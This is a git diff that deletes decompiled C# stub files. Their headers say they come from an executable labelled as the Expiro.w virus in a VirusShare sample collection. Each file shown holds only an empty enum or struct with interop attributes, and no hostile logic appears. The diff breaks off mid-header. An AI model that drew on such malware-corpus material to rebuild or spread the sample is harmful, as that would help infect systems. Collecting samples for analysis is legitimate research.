a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STREAM_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STREAM_INFO_LEVELS.cs deleted file mode 100644 index baa3e346..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_STREAM_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STREAM_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _STREAM_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SYSTEM_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SYSTEM_POWER_STATE.cs deleted file mode 100644 index 2dff1c62..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SYSTEM_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SYSTEM_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SYSTEM_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SecDelegationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SecDelegationType.cs deleted file mode 100644 index 53cd7a60..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_SecDelegationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SecDelegationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _SecDelegationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TAPE_DRIVE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TAPE_DRIVE_PROBLEM_TYPE.cs deleted file mode 100644 index 4c0bec7e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TAPE_DRIVE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TAPE_DRIVE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TAPE_DRIVE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs deleted file mode 100644 index 456f5152..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_COMMON_BUTTON_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TASKDIALOG_COMMON_BUTTON_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ELEMENTS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ELEMENTS.cs deleted file mode 100644 index 30f726ea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ELEMENTS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_ELEMENTS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TASKDIALOG_ELEMENTS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_FLAGS.cs deleted file mode 100644 index b621d3c0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TASKDIALOG_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ICON_ELEMENTS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ICON_ELEMENTS.cs deleted file mode 100644 index cb8448f3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_ICON_ELEMENTS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_ICON_ELEMENTS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _TASKDIALOG_ICON_ELEMENTS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_MESSAGES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_MESSAGES.cs deleted file mode 100644 index b4d67a7b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_MESSAGES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_MESSAGES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TASKDIALOG_MESSAGES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_NOTIFICATIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_NOTIFICATIONS.cs deleted file mode 100644 index 039c97bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TASKDIALOG_NOTIFICATIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_NOTIFICATIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TASKDIALOG_NOTIFICATIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_THDTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_THDTYPE.cs deleted file mode 100644 index 9085b589..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_THDTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _THDTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _THDTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_ELEVATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_ELEVATION_TYPE.cs deleted file mode 100644 index a75ab46b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_ELEVATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_ELEVATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TOKEN_ELEVATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_INFORMATION_CLASS.cs deleted file mode 100644 index 1bd72592..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TOKEN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_MANDATORY_LABEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_MANDATORY_LABEL.cs deleted file mode 100644 index 02cd7255..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_MANDATORY_LABEL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_MANDATORY_LABEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _TOKEN_MANDATORY_LABEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_OWNER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_OWNER.cs deleted file mode 100644 index 2828eee3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_OWNER.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_OWNER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct _TOKEN_OWNER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_STATISTICS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_STATISTICS.cs deleted file mode 100644 index 140d4ea4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_STATISTICS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_STATISTICS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct _TOKEN_STATISTICS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_TYPE.cs deleted file mode 100644 index 8c5e6af3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TOKEN_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TOKEN_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TP_CALLBACK_ENVIRON.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TP_CALLBACK_ENVIRON.cs deleted file mode 100644 index a15a8659..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TP_CALLBACK_ENVIRON.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TP_CALLBACK_ENVIRON -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _TP_CALLBACK_ENVIRON -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u002480\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u002481\u0024 - { - } - } - - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240x7907e524\u002480\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024UnnamedClass\u00240x7907e524\u002481\u0024 - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs deleted file mode 100644 index f37a7ca9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTIONMANAGER_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TRANSACTIONMANAGER_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_INFORMATION_CLASS.cs deleted file mode 100644 index 9992103f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TRANSACTION_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_OUTCOME.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_OUTCOME.cs deleted file mode 100644 index aee3b7a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_OUTCOME.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_OUTCOME -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _TRANSACTION_OUTCOME -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_STATE.cs deleted file mode 100644 index 27904953..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRANSACTION_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TRANSACTION_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTED_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTED_INFORMATION_CLASS.cs deleted file mode 100644 index 4ae051ab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTED_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTED_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 